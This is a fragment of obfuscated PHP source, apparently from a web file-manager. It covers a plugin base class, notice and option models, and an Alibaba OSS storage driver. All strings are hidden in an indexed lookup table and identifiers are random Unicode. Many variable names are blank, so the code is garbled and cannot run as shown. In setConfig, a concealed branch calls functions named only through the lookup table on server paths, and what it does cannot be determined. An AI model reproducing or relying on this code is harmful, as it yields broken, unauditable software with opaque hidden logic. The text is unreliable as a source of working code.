$Ō[$[87]] : $[12]; if (!$أߥ) { $أߥ = IO::mkdir($); } return $أߥ; } final function pluginCacheFileSet($ঋ, $ = '') { $ץ =& $_SERVER[ϋ]; $ӻ = IO::infoFullSimple($ঋ); if (!$ӻ) { return IO::mkfile($ঋ, $, REPEAT_REPLACE); } IO::setContent($ӻ[$ץ[87]], $); return $ӻ[$ץ[87]]; } final function pluginLocalFile($Ѿʾ = '') { $Û =& $_SERVER[ϋ]; $ȃ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($ȃ)) { mk_dir($ȃ); } if (!$Ѿʾ) { return $ȃ; } $ڝ = IO::info($Ѿʾ); $ = $Û[1639] . KodIO::hashPath($ڝ) . $Û[10] . $ڝ[$Û[178]]; if (!checkExtSafe($)) { $ = $ . $Û[1259]; } $¯ = $ȃ . $; if (@file_exists($¯)) { return $¯; } return IO::copy($Ѿʾ, $ȃ, 0, $); } final function appPackage() { $ =& $_SERVER[ϋ]; if ($this->packageData) { return $this->packageData; } $ُ = $this->parseFile($this->pluginPath . $[1640]); $this->parseLang($ُ); $㷣 = json_decode_force($ُ); if (!$㷣) { return array(); } $ = Hook::trigger($[1641], $㷣); if ($ && is_array($)) { $㷣 = $; } $this->packageData = $㷣; return $㷣; } public function packageInfoGet($ѩ) { $ = $this->appPackage(); return array_get_value($, $ѩ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ϋ][1642]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ϋ][1643]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ϋ][1644]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($Έ) { $ =& $_SERVER[ϋ]; $ꄍ = file_get_contents_nossl($Έ); $Ɩ = array($[1645], $[1646], $[1647], $[1648], $[1649], $[1650], $[1651]); $ԯ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1652]]); foreach ($this->echoJsAssignArr as $ => $) { $Ɩ[] = $[1653] . $ . $[1654]; $ԯ[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($ꄍ, $[1655])) { $ͷα = rawurlencode(json_encode($this->pluginLangArr)); $ꄍ = str_replace($[1655], $ͷα, $ꄍ); } if (strstr($ꄍ, $[1656])) { $ͷα = $ͷα = rawurlencode(json_encode($this->getConfig())); $ꄍ = str_replace($[1656], $ͷα, $ꄍ); } $ꄍ = str_replace($Ɩ, $ԯ, $ꄍ); return $ꄍ; } private function parseLang(&$Ƥ) { $ť =& $_SERVER[ϋ]; $׺ = $ť[1657]; if (!strstr($Ƥ, $׺)) { return; } preg_match_all($ť[1658], $Ƥ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $֡ = array(); $֘ͦ = array(); foreach ($[0] as $̒) { $ = substr($̒, strlen($׺), -4); $ʳ = LNG($); $֡[] = $̒; $֘ͦ[] = str_replace(array($ť[253], $ť[1128], $ť[393], $ť[121]), array($ť[53], $ť[53], $ť[12], $ť[1659]), $ʳ); } $Ƥ = str_replace($֡, $֘ͦ, $Ƥ); } private function parseConfig(&$؄) { $ =& $_SERVER[ϋ]; $ = $[1660]; if (!strstr($؄, $)) { return; } preg_match_all($[1661], $؄, $񢦺); if (!is_array($񢦺) || count($񢦺) == 0 || !is_array($񢦺[0]) || count($񢦺[0]) == 0) { return; } $۱ = $this->getConfig(); $ޓ = array(); $ѩ = array(); foreach ($񢦺[0] as $Л) { $ҭ = substr($Л, strlen($), -2); $ޓ[] = $Л; $ѩ[] = _get($۱, $ҭ); } $؄ = str_replace($ޓ, $ѩ, $؄); } private function parsePackage(&$ǽ) { $ԡ =& $_SERVER[ϋ]; $ = $ԡ[1662]; if (!strstr($ǽ, $)) { return; } preg_match_all($ԡ[1663], $ǽ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ߞ = $this->appPackage(); $Ú = array(); $ؙ = array(); foreach ($[0] as $仜Ö) { $ɻ = substr($仜Ö, strlen($), -2); $Ú[] = $仜Ö; $ؙ[] = _get($ߞ, $ɻ); } $ǽ = str_replace($Ú, $ؙ, $ǽ); } final function echoFile($, $Ê = false) { $ػ⽁ =& $_SERVER[ϋ]; $񢨦 = $this->pluginPath . $; if (ACT == $ػ⽁[1664]) { echo $ػ⽁[1665] . $this->pluginName . $ػ⽁[8] . $ . $ػ⽁[1666]; if (!file_exists($񢨦)) { echo $ػ⽁[1667]; return; } } $筊 = $this->parseFile($񢨦); $this->parseLang($筊); $this->parseConfig($筊); $this->parsePackage($筊); if (is_array($Ê)) { $筊 = str_replace(array_keys($Ê), array_values($Ê), $筊); } echo $ػ⽁[253] . $筊; } private function checkVersion() { $ =& $_SERVER[ϋ]; $ۉ = $this->appPackage(); $ = $this->getConfig(); if ($[$[1668]] == $ۉ[$[1642]]) { return; } $this->regist(); $this->setConfig(array($[1668] => $ۉ[$[1642]])); } final function initLang() { $ޖǝ =& $_SERVER[ϋ]; $ = $ޖǝ[1669]; $ދ = $this->pluginPath . $ޖǝ[1670]; $ͯ = I18n::getType(); $ќ = array(); if (file_exists($ދ . $ͯ . $ޖǝ[890])) { $ќ = (include $ދ . $ͯ . $ޖǝ[890]); } else { if ($ͯ == $ޖǝ[1671] && !file_exists($ދ . $ͯ . $ޖǝ[890]) && file_exists($ދ . $ޖǝ[1672])) { $ќ = (include $ދ . $ޖǝ[1672]); } else { if (file_exists($ދ . $ . $ޖǝ[890])) { $ќ = (include $ދ . $ . $ޖǝ[890]); } } } if (!is_array($ќ)) { return array(); } if (@count($ќ) > 0) { I18n::set($ќ); } return $ќ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($䦓) { $ =& $_SERVER[ϋ]; if ($_SERVER[$[408]] != $_SERVER[$[1379]]) { $Ԡ = $[928]; $Ȓʄ = $[409]; $Ҁ = $_SERVER[$[410]] . $[411]; $ʺ = $Ȓʄ($Ҁ); $Ɉ = explode($[253], $ʺ); if (count($Ɉ) < $[676]) { $ݷ = $[413]; $ݷ(); } $ = $[929]; $($_SERVER[$[930]]); $($_SERVER[$[410]] . $[1673]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[438]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $䦓); } public function onSetConfig($֧) { } public function onGetConfig($ܰ) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ŷ) { if ($ŷ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\x6c\165\147\151\x6e\x41\165\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ŗ = $this->getConfig(); if (!$ŗ[$]) { return !1; } return ActionCall($_SERVER[ϋ][1674], $ŗ[$]); } public function url($, $ = '', $󖬧 = true) { $ =& $_SERVER[ϋ]; $܄ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $췥 = $ . $[446] . $; if (substr($, 0, 4) == $[152] || substr($, 0, 2) == $[1409]) { $Չ = $ . $[1675] . $췥; } else { if ($ == $[12]) { $Չ = $this->pluginHost . $ . $[1675] . $췥; } else { if ($ === $[78]) { $Չ = $this->pluginHost . $; } else { if ($ == $[1676]) { $Չ = STATIC_PATH . $ . $[1675] . $; } else { if ($ == $[1677]) { $Չ = APP_HOST . $[1678] . $ . $[1675] . $; } else { if (isset($܄[$])) { $Չ = $܄[$] . $ . $[1675] . $췥; } } } } } } if (!$󖬧) { return $Չ; } echo $Չ; } public function link($ݽ = false, $ = '') { $繯 =& $_SERVER[ϋ]; if (!$ݽ) { $this->link($繯[1679], $繯[1677]); $this->link($繯[1680], $繯[1676]); $this->link($繯[1681], $繯[1676]); $this->link($繯[1682], $繯[1676]); $this->link($繯[1683], $繯[1676]); return; } $ = $this->url($ݽ, $, !1); if (substr($ݽ, -3) == $繯[1684]) { echo $繯[1685] . $ . $繯[1686] . $繯[253]; } else { if (substr($ݽ, -4) == $繯[1687]) { echo $繯[1688] . $ . $繯[1689] . $繯[253]; } } } } goto d˿; Eş: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\155\x2e\156\157\164\x69\x63\145\x4c\151\163\164"; public $field = array("\x6e\141\x6d\145", "\x63\157\156\164\145\156\164", "\141\x75\x74\150", "\x6d\x6f\x64\x65", "\164\151\155\x65", "\164\x79\x70\x65", "\154\145\166\145\x6c", "\x65\x6e\141\x62\154\x65", "\163\157\x72\x74"); public function listData($ = false, $ҭ = "\163\x6f\162\164", $󐋰 = false) { return parent::listData($, $ҭ, $󐋰); } public function add($) { $簤 =& $_SERVER[ϋ]; $öͼ = time(); if ($[$簤[16]] == $簤[2417]) { $öͼ = strtotime($[$簤[197]]); } $[$簤[197]] = $öͼ; return parent::insert($); } public function update($ا, $) { $ =& $_SERVER[ϋ]; $ÿ = $this->listData($ا); if (!$ÿ) { return !1; } $ו = time(); if ($[$[16]] == $[2417]) { $ו = strtotime($[$[197]]); } $[$[197]] = $ו; return parent::update($ا, $); } public function remove($ӟ) { $ = $this->listData($ӟ); if (!$ || $[$_SERVER[ϋ][182]]) { return !1; } return parent::remove($ӟ); } public function sort($, $‘) { return parent::update($, $‘); } public function enable($롧, $ӆ) { return parent::update($롧, array($_SERVER[ϋ][2418] => $ӆ)); } private function initUserOption() { $ɿ =& $_SERVER[ϋ]; $this->optionType = $ɿ[2419]; $this->modelType = $ɿ[2420]; $this->field = array($ɿ[2421], $ɿ[32], $ɿ[197], $ɿ[33], $ɿ[2422], $ɿ[802], $ɿ[217]); } public function userNoticeGet($Ҿ = false) { $this->initUserOption(); return parent::listData($Ҿ, $_SERVER[ϋ][459], !0); } public function userNoticeAdd($) { $ =& $_SERVER[ϋ]; $this->initUserOption(); $ = $this->findByKey($[2421], $[$[459]]); if ($) { return !0; } $ = array($[2421] => $[$[459]], $[32] => $[$[32]], $[197] => $[$[197]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2422] => isset($[$[2422]]) ? $[$[2422]] : 0, $[802] => 0, $[217] => 0); return parent::insert($); } public function userNoticeEdit($ځ, $) { $this->initUserOption(); return parent::update($ځ, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\x73\x74\x65\x6d\x5f\157\160\x74\151\157\156"; protected $jsonField = array("\x6d\145\x6e\165", "\x72\157\154\x65", "\162\157\x6c\145\x47\162\157\x75\x70", "\162\x65\x67\x69\x73\x74", "\145\x6d\141\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\123\x79\x73\164\x65\x6d\117\160\164\151\157\156\x5f{$}"; } protected function optionDefault($ = '') { $ą =& $_SERVER[ϋ]; if ($ == $ą[12]) { return $GLOBALS[$ą[6]][$ą[441]]; } } } class SystemRecordModel extends ModelBaseLight { } goto E; F̉ޓ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($۲ޅ) { parent::__construct(); include_once SDK_DIR . $_SERVER[ϋ][1431]; $this->_init($۲ޅ); } public function _init($ꇉ) { $׎ =& $_SERVER[ϋ]; $this->config = $ꇉ; foreach ($ꇉ as $Ż => $) { if (isset($this->{$Ż})) { $this->{$Ż} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($׎[1432] . LNG($׎[1433])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ޞ =& $_SERVER[ϋ]; $ݣ = new OSS\Model\CorsConfig(); $ʳ = new OSS\Model\CorsRule(); $ʳ->addAllowedOrigin($ޞ[1434]); $ʳ->addAllowedMethod($ޞ[1435]); $ʳ->addAllowedMethod($ޞ[1436]); $ʳ->addAllowedMethod($ޞ[1437]); $ʳ->addAllowedMethod($ޞ[1438]); $ʳ->addAllowedMethod($ޞ[164]); $ʳ->setMaxAgeSeconds(600); $ʳ->addExposeHeader($ޞ[1439]); $ʳ->addAllowedHeader($ޞ[1434]); $ݣ->addRule($ʳ); try { $this->client->putBucketCors($this->bucket, $ݣ); } catch (OSS\Core\OssException $Ȁ) { $this->writeLog(__FUNCTION__ . $ޞ[205] . $Ȁ->getMessage()); return !1; } return !0; } public function getBucketCors() { $ӻ =& $_SERVER[ϋ]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $äҴ) { $this->writeLog(__FUNCTION__ . $ӻ[205] . $äҴ->getMessage()); return null; } if (!$ || !($Ἂ = $->getRules())) { return null; } $ǔ = $Ἂ[0]->getAllowedOrigins(); $ڔӷ = $Ἂ[0]->getAllowedMethods(); $ϓօ = $Ἂ[0]->getMaxAgeSeconds(); $ߠ = $Ἂ[0]->getExposeHeaders(); $ҳèݙ = $Ἂ[0]->getAllowedHeaders(); return array($ӻ[209] => isset($ǔ[0]) ? $ǔ[0] : $ӻ[12], $ӻ[213] => $ڔӷ, $ӻ[1440] => $ϓօ, $ӻ[1441] => isset($ߠ[0]) ? $ߠ[0] : $ӻ[12], $ӻ[210] => isset($ҳèݙ[0]) ? $ҳèݙ[0] : $ӻ[12]); } public function isBucketCors() { $پ =& $_SERVER[ϋ]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$پ[209]] != $پ[211] || $[$پ[210]] != $پ[211]) { return !1; } $ċ = array_map($پ[212], $[$پ[213]]); if (!is_array($ċ)) { $ċ = array(); } $񘴛 = array($پ[214], $پ[215], $پ[216], $پ[217], $پ[218]); $Ŝا = array_diff($񘴛, $ċ); return empty($Ŝا); } public function mkfile($, $ʡ = '', $ʵ = REPEAT_RENAME) { $ = $this->setContent($, $ʡ); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($ׄإ, $ࡲ = REPEAT_SKIP) { if ($ࡲ && $this->_isFolder($ׄإ)) { return $this->getPathOuter($ׄإ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ׄإ)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][205] . $->getMessage()); return !1; } return $this->getPathOuter($ׄإ); } private function fileList($Ն, $ = '', $ = 0) { $ =& $_SERVER[ϋ]; $Ն = trim($Ն, $[8]); $ø؅ = empty($Ն) && $Ն !== $[219] ? $[12] : $Ն . $[8]; $㈬ = $[12]; $֜ = 1000; $ = $ׇ = array(); while (!0) { check_abort(); $ = array($[1442] => $, $[1443] => $ø؅, $[1444] => $֜, $[1445] => $㈬); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $ޜ) { $this->writeLog(__FUNCTION__ . $[205] . $ޜ->getMessage()); break; } $㈬ = $->getNextMarker(); $̆җ = $->getObjectList(); $Ć = $->getPrefixList(); foreach ($̆җ as $) { if ($->getKey() == $ø؅) { continue; } $ = $->getKey(); $ = $->getSize(); $㊷ = $->getLastModified(); $ޙ = trim($->getETag(), $[121]); $˾ = $ ? array($[32] => $, $[79] => $, $[197] => strtotime($㊷), $[1446] => $ޙ) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array($[79] => $, $[1447] => $, $[88] => strtotime($㊷), $[1448] => $㊷, $[1446] => $ޙ); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $ׇ[] = $˾; } foreach ($Ć as $ͫ⏁) { $[] = $ͫ⏁->getPrefix(); $this->cacheMethodInfoSet($ͫ⏁->getPrefix(), !0); } if ($㈬ === $[12]) { break; } } $this->cacheMethodInfoSet($Ն, !0); return array($[85] => $, $[86] => $ׇ); } public function listObject($, $峽 = '') { $ =& $_SERVER[ϋ]; $ = trim($, $[8]); $ = empty($) && $ !== $[219] ? $[12] : $ . $[8]; $ = $[12]; $߫ = 1000; $ª = $ = array(); while (!0) { check_abort(); $DŽ = array($[1442] => $峽, $[1443] => $, $[1444] => $߫, $[1445] => $); try { $ = $this->client->listObjects($this->bucket, $DŽ); } catch (OSS\Core\OssException $ז) { $this->writeLog(__FUNCTION__ . $[205] . $ז->getMessage()); break; } $ = $->getNextMarker(); $ = $->getObjectList(); foreach ($ as $©) { if ($©->getKey() == $) { continue; } $ = $©->getKey(); $ˡ = $©->getSize(); $ϙߖ = $ˡ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($ϙߖ) { continue; } (yield $ˡ . $[205] . $); } if ($ === $[12]) { break; } } } public function copyFile($, $߃) { $ϗ = $this->size($); if ($ϗ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($߃)); } catch (OSS\Core\OssException $Œ) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][205] . $Œ->getMessage()); return !1; } return $this->getPathOuter($߃); } $Ѣ = $this->multiCopyObject($, $߃, $ϗ); return $Ѣ ? $this->getPathOuter($߃) : !1; } private function multiCopyObject($π, $ޗ, $) { $ =& $_SERVER[ϋ]; try { $憎 = array(); if ($ݍݴ = $this->hashMd5($π)) { $憎 = array(OSS\OssClient::OSS_HEADERS => array($[1449] => $ݍݴ)); } $Ǘ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ޗ), $憎); $ӧʙ = 1; $ = 0; $Ѳ = array(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $); foreach ($ as $ԗؽ => $߅) { $ = $ + (int) $߅[$[1450]]; $ = (int) $߅[$[388]] + $ - 1; $ս = array($[1451] => $, $[1452] => $); $Ѳ[] = $this->client->uploadPartCopy($this->bucket, $π, $this->bucket, $this->pathEncode($ޗ), $ӧʙ, $Ǘ, $ս); $ӧʙ = $ӧʙ + 1; } $ = array(); foreach ($Ѳ as $ԗؽ => $Ɯƣ) { $[] = array($[1453] => $ԗؽ + 1, $[1454] => $Ɯƣ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ޗ), $Ǘ, $); } catch (OSS\Core\OssException $ɵ) { $this->writeLog(__FUNCTION__ . $[205] . $ɵ->getMessage()); return !1; } return !0; } public function moveFile($ȱ, $) { if ($this->copyFile($ȱ, $)) { $this->remove($ȱ); return $this->getPathOuter($); } return !1; } public function delFile($˔) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($˔)); } catch (OSS\Core\OssException $ƃ) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][205] . $ƃ->getMessage()); return !1; } return !0; } public function delFolder($ݬ) { $ =& $_SERVER[ϋ]; if (!$this->exist($ݬ)) { return !0; } $this->listItemCache = !1; $Θ = $this->fileList($ݬ); $this->listItemCache = !0; $﷪ = trim($ݬ, $[8]) . $[8]; if (!empty($ݬ) && $ݬ !== $[219] && !in_array($﷪, $Θ[$[85]])) { $Θ[$[85]][] = $﷪; } $ = $this->delByBatch($Θ[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($Θ[$[85]]); if (!$) { return !1; } return $this->delFile($﷪); } private function delByBatch($ח) { foreach (array_chunk($ח, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $􆱜) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][205] . $􆱜->getMessage()); return !1; } } return !0; } public function rename($ׂ, $Ǔdž) { return $this->renameObject($ׂ, $Ǔdž); } private function fileInfo($Ӊ, $ĥƍ = false, $ǥ = array()) { $ܼ =& $_SERVER[ϋ]; $ܨ = array($ܼ[32] => $this->pathThis($Ӊ), $ܼ[87] => $this->getPathOuter($Ӊ), $ܼ[33] => $ܼ[221], $ܼ[79] => isset($ǥ[$ܼ[79]]) ? $ǥ[$ܼ[79]] : 0, $ܼ[178] => $this->ext($Ӊ)); if ($ĥƍ) { return $ܨ; } $ܨ[$ܼ[222]] = $ܨ[$ܼ[88]] = 0; $ܨ[$ܼ[223]] = $ܨ[$ܼ[224]] = !0; if (empty($ǥ)) { $ = $this->objectMeta($Ӊ); if (!$) { return $ܨ; } $ǥ = array($ܼ[88] => strtotime($[$ܼ[1448]]), $ܼ[79] => $[$ܼ[1447]] + 0, $ܼ[1446] => $[$ܼ[1446]]); } if (isset($ǥ[$ܼ[1446]]) && $ǥ[$ܼ[1446]]) { $ܨ[$ܼ[226]] = trim($ǥ[$ܼ[1446]], $ܼ[121]); } if (isset($ǥ[$ܼ[79]])) { $ܨ[$ܼ[79]] = $ǥ[$ܼ[79]]; } if (isset($ǥ[$ܼ[88]])) { $ܨ[$ܼ[88]] = $ǥ[$ܼ[88]]; } if (isset($ǥ[$ܼ[197]]) && !trim($ܨ[$ܼ[88]])) { $ܨ[$ܼ[88]] = $ǥ[$ܼ[197]]; } return $ܨ; } private function folderInfo($ӻ, $Ǝ = false, $†ד = array()) { $׵ =& $_SERVER[ϋ]; $ܧ = array($׵[32] => $this->pathThis($ӻ), $׵[87] => $this->getPathOuter($׵[8] . $ӻ), $׵[33] => $׵[78]); if ($Ǝ) { return $ܧ; } $ܧ[$׵[222]] = $ܧ[$׵[88]] = 0; $ܧ[$׵[223]] = $ܧ[$׵[224]] = !0; if (empty($†ד)) { $ӻ = rtrim($ӻ, $׵[8]) . $׵[8]; $ۘӪ = $this->objectMeta($ӻ); if (!$ۘӪ) { return $ܧ; } $†ד = array($׵[222] => $ۘӪ[$׵[560]][$׵[1455]], $׵[88] => strtotime($ۘӪ[$׵[1448]])); } if (isset($†ד[$׵[88]])) { $ܧ[$׵[88]] = $†ד[$׵[88]]; } if (isset($†ד[$׵[222]])) { $ܧ[$׵[222]] = $†ד[$׵[222]]; } return $ܧ; } public function listPath($䯖, $ = false) { $ο =& $_SERVER[ϋ]; $DžϘמ = $this->fileList($䯖, $ο[8], !0); foreach ($DžϘמ[$ο[85]] as $ү => $֎) { $DžϘמ[$ο[85]][$ү] = $this->folderInfo($֎, $, $֎); } foreach ($DžϘמ[$ο[86]] as $ү => $֎) { $DžϘמ[$ο[86]][$ү] = $this->fileInfo($֎[$ο[32]], $, $֎); } return $DžϘמ; } protected function infoChildren($雥, &$ܒ) { $ =& $_SERVER[ϋ]; $ڵ = $this->fileList($雥, $[12], !0); $ܒ[$[81]] += count($ڵ[$[85]]); $ܒ[$[80]] += count($ڵ[$[86]]); foreach ($ڵ[$[86]] as $) { if (!$ || !$[$[79]]) { continue; } $ܒ[$[79]] += $[$[79]]; } } public function has($, $ = false, $ħ = true) { $ =& $_SERVER[ϋ]; $ = trim($, $[8]); $ˉ = empty($) && $ !== $[219] ? $[12] : $ . $[8]; $ۗ = $[12]; $џ = 500; $᫥ = $ҡ = 0; while (!0) { check_abort(); $ = array($[1442] => $[8], $[1443] => $ˉ, $[1444] => $џ, $[1445] => $ۗ); try { $ԍÇ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $Ĝ) { $this->writeLog(__FUNCTION__ . $[205] . $Ĝ->getMessage()); break; } $ۗ = $ԍÇ->getNextMarker(); $ = $ԍÇ->getObjectList(); $ܕ = $ԍÇ->getPrefixList(); if ($) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $ˉ) { $᫥ += count($) - 1; } if (!empty($ܕ)) { $ҡ += count($ܕ); } if ($ۗ === $[12]) { break; } continue; } if ($ħ) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $ˉ) { return !0; } } } else { if (!empty($ܕ)) { return !0; } } if ($ۗ === $[12]) { break; } } if ($) { return array($[230] => $᫥, $[231] => $ҡ); } return !1; } public function listAll($) { $́ =& $_SERVER[ϋ]; $ׄ = $this->fileList($, $́[12], !0); $ё = array_to_keyvalue($ׄ[$́[86]], $́[32]); foreach ($ׄ[$́[85]] as $) { if (is_string($)) { $ё[$] = array($́[79] => 0); } } return $this->listAllFiles($, $ё); } public function canRead($) { $ =& $_SERVER[ϋ]; $Ĝ = $this->pathAcl($); return $Ĝ == $[1456] || $Ĝ == $[603] ? !0 : !1; } public function canWrite($릗) { $ = $this->pathAcl($릗); return $ == $_SERVER[ϋ][603] ? !0 : !1; } public function pathAcl($) { $͇߅ =& $_SERVER[ϋ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $͇߅[205] . $->getMessage()); return !1; } $ = $ == $͇߅[37] ? $this->bucketAcl : $; if ($ == $͇߅[1457]) { return $͇߅[1456]; } if ($ == $͇߅[1458]) { return $͇߅[603]; } return $; } private function chmodPath($ޠ, $Š = '') { $٘ =& $_SERVER[ϋ]; $⻇ = empty($Š) ? $٘[1458] : $Š; $ = array($٘[37], $٘[220], $٘[1457], $٘[1458]); if (!in_array($⻇, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($ޠ), $⻇); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $٘[205] . $->getMessage()); return !1; } return !0; } public function getContent($葖) { return $this->fileSubstr($葖, -1); } public function setContent($, $僧 = '') { $ƨ =& $_SERVER[ϋ]; try { $è = $this->trafficLimit($ƨ[1459]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $僧, $è); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ƨ[205] . $->getMessage()); return !1; } $댸ڍ = array($ƨ[1449] => trim($[$ƨ[1446]], $ƨ[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $댸ڍ); return isset($[$ƨ[1460]][$ƨ[283]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $˵ݟ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $˵ݟ); } catch (OSS\Core\OssException $ܵ) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][205] . $ܵ->getMessage()); return !1; } return !0; } public function upload($ȏ, $ڰ, $ = false, $ʬ = REPEAT_REPLACE) { $۩ۉ =& $_SERVER[ϋ]; $ȴ = trim($ȏ, $۩ۉ[8]); $Ɗ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($۩ۉ[1449] => @md5_file($ڰ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($ȏ))); $Ɗ = $this->trafficLimit($۩ۉ[1459], $Ɗ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($ȴ), $ڰ, $Ɗ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $۩ۉ[205] . $->getMessage()); return !1; } return $this->getPathOuter($ȏ); } public function getHost() { $ =& $_SERVER[ϋ]; $ = explode($[201], parent::getHost()); return $[0] . $[201] . $this->bucket . $[10] . $[1]; } public function uploadFormData($ߤ, $ǂߚƂ = 3600) { $ϸ =& $_SERVER[ϋ]; if (!($ڱݑ = $this->getHost())) { return !1; } $ = $ǂߚƂ; $ϯ = date($ϸ[1461], time() + $); $ќ橁 = new DateTime($ϯ); $ܵ = $ќ橁->format(DateTime::ISO8601); $ = strpos($ܵ, $ϸ[347]); $ܵ = substr($ܵ, 0, $) . $ϸ[1462]; $ِٴ = 1048576000 * 5; $ = $this->pathFather($ߤ); $ = array($ϸ[266] => $ܵ, $ϸ[269] => array(array($ϸ[1463], 0, $ِٴ), array($ϸ[272], $ϸ[273], $))); $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($ϸ[254], $, $this->secret, !0)); $ĢΖ = array($ϸ[284] => $, $ϸ[1464] => $this->accessKey, $ϸ[276] => $ϸ[265], $ϸ[1465] => $, $ϸ[199] => $ڱݑ); $ĢΖ = $this->trafficLimit($ϸ[1459], $ĢΖ); return $ĢΖ; } public function multiUploadFormData($ӟ, $׋ = 3600) { $ȗ =& $_SERVER[ϋ]; if (!($ꄺ = $this->getHost())) { return !1; } $ = $this->trafficLimit($ȗ[1459]); $ǂ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ӟ), $); return array($ȗ[245] => $ǂ, $ȗ[199] => $ꄺ . $ȗ[8] . $this->pathEncode($ӟ), $ȗ[246] => gmdate($ȗ[1466]), $ȗ[97] => $ӟ); } public function multiUploadAuthData($, $㬱 = array()) { $ =& $_SERVER[ϋ]; $֞ = isset($㬱[$[246]]) ? $㬱[$[246]] : gmdate($[1466]); $֑ = isset($㬱[$[178]]) ? $㬱[$[178]] : $[12]; $׋ = $; if (isset($㬱[$[97]])) { $׋ = $㬱[$[97]]; unset($㬱[$[97]]); } if (isset($㬱[$[247]])) { $㬱[$[246]] = $֞; return $this->listUploadParts($׋, $㬱); } $ = array($[248], $[12], $[123], $֞, "\170\x2d\157\163\x73\55\x64\x61\x74\x65\x3a{$֞}", $[8] . $this->bucket . $[8] . $׋ . $֑); if (strpos($֑, $[249]) === 0) { $[0] = $[250]; if ($ = $this->trafficLimit($[1459])) { $׋ = $[1467]; array_splice($, 5, 0, $׋ . $[4] . $[$׋]); } } if (isset($㬱[$[251]]) && $㬱[$[251]] == $[252]) { $[0] = $[252]; } if (!empty($㬱[$[1468]])) { $̓ = array_merge(array($[4]), $㬱[$[1468]]); sort($̓); $[4] = implode($[253], $̓); } $ͤ = implode($[253], $); $Ȱ = base64_encode(hash_hmac($[254], $ͤ, $this->secret, !0)); $ = $[1432] . $this->accessKey . $[4] . $Ȱ; if (strpos($֑, $[249]) 